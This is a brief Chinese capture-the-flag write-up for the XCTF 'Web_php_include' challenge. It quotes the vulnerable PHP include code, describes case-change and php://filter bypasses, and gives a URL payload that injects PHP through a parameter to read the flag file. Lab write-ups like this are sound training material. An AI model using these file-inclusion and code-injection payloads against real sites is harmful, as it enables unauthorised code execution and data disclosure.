XCTF-Web2

Web_php_include


show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

strstr() 查找字符串首次出现的位置,返回字符串剩余部分。
使用str_replace()函数替换php://为空(区分大小写)。

  1. 使用大小写绕过
    XCTF-Web2_第1张图片
    XCTF-Web2_第2张图片

  2. 使用php://filter适配器编码绕过
    XCTF-Web2_第3张图片read=convert.base64-encode将代码转换成 base64编码,从而不会执行,可以显示在页面。然后解码得到flag
    XCTF-Web2_第4张图片

  3. 利用index.php文件的hello参数回显flag

/?page=http://127.0.0.1/index.php/?hello=%3C?show_source("fl4gisisish3r3.php");?%3E

XCTF-Web2_第5张图片

你可能感兴趣的:(CTF练习记录,php,web安全)